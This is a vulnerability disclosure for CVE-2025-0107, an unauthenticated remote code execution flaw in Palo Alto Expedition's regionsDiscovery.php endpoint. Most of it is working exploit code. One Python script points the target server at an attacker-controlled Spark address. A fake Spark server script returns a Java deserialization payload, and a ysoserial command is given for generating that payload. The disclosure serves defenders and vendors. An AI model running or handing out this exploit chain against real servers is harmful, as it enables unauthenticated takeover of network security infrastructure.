Summary
A vulnerability in Palo Alto Expedition allows remote attackers who can reach the web interface to execute arbitrary code.
Credit
An independent security researcher working with SSD Secure Disclosure.
Vendor Response
Palo Alto has released the following advisory and fix: https://security.paloaltonetworks.com/PAN-SA-2025-0001
Affected Versions
Palo Alto Expedition version 1.2.101 and prior
CVE
CVE-2025-0107
Technical Analysis
A vulnerability in the /API/regionsDiscovery.php endpoint allows unauthenticated attackers to trigger a call to an Apache Spark server (attacker controlled) which can then be used to cause the execution of arbitrary code.
This is done by returning a Java compiled package as the response from our (fake) Apache Spark server which is then executed by the Palo Alto Expedition server.
Exploit
#!/usr/bin/python3
# Exploit
import sys
import requests
if __name__ == "__main__":
if len(sys.argv) != 3:
print("python3 exp.py https://127.0.0.1 8.8.8.8:1234")
sys.exit(0)
url = sys.argv[1]
spark_addr = sys.argv[2]
params = {
"master": f"spark://{spark_addr}",
"mask": "26",
"project": "your_project",
"devices": "device1,device2",
"mtserver": "127.0.0.1:3306",
"mtuser": "root",
"mtpassword": "paloalto",
"task-id": "1193",
"mode": "pre-analysis",
"regions": "",
"parquetPath": "/tmp",
"timezone": "Europe/Helsinki",
"mlserver": "127.0.0.1",
"debug": "false",
"initDate": "2023-01-01",
"endDate": "2023-01-31",
}
res = requests.get(
f"{url}/API/regionsDiscovery.php",
params=params,
verify=False,
)
print(f"exploit ok! {res}")
#!/usr/bin/python3
# Fake Spark Server
import os
import struct
import sys
from socketserver import BaseRequestHandler, ThreadingTCPServer
class EchoHandler(BaseRequestHandler):
def handle(self):
print("Got connection from %s" % (str(self.client_address)))
while True:
msg = self.request.recv(8192)
print(msg)
if not msg:
break
if len(msg) > 16:
print("Send msg>>>")
self.request.sendall(build_msg(msg[9:17]))
def build_msg(request_id):
# Read the payload as binary data
payloadObj = open(sys.argv[2], "rb").read()
msg_type = b"\x04"
head_length = 21
# Construct message
msg = struct.pack(">Q", len(payloadObj) + 21) + msg_type + request_id
msg += struct.pack(">I", len(payloadObj)) + payloadObj
return msg
if __name__ == "__main__":
if len(sys.argv) < 3:
print(
"Usage: python %s <port / 3306> </path/to/payload>" % os.path.basename(sys.argv[0])
)
print(
'java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/hack" > payload'
)
sys.exit()
serv = ThreadingTCPServer(("0.0.0.0", int(sys.argv[1])), EchoHandler)
print("Server listening on 0.0.0.0:%s" % sys.argv[1])
serv.serve_forever()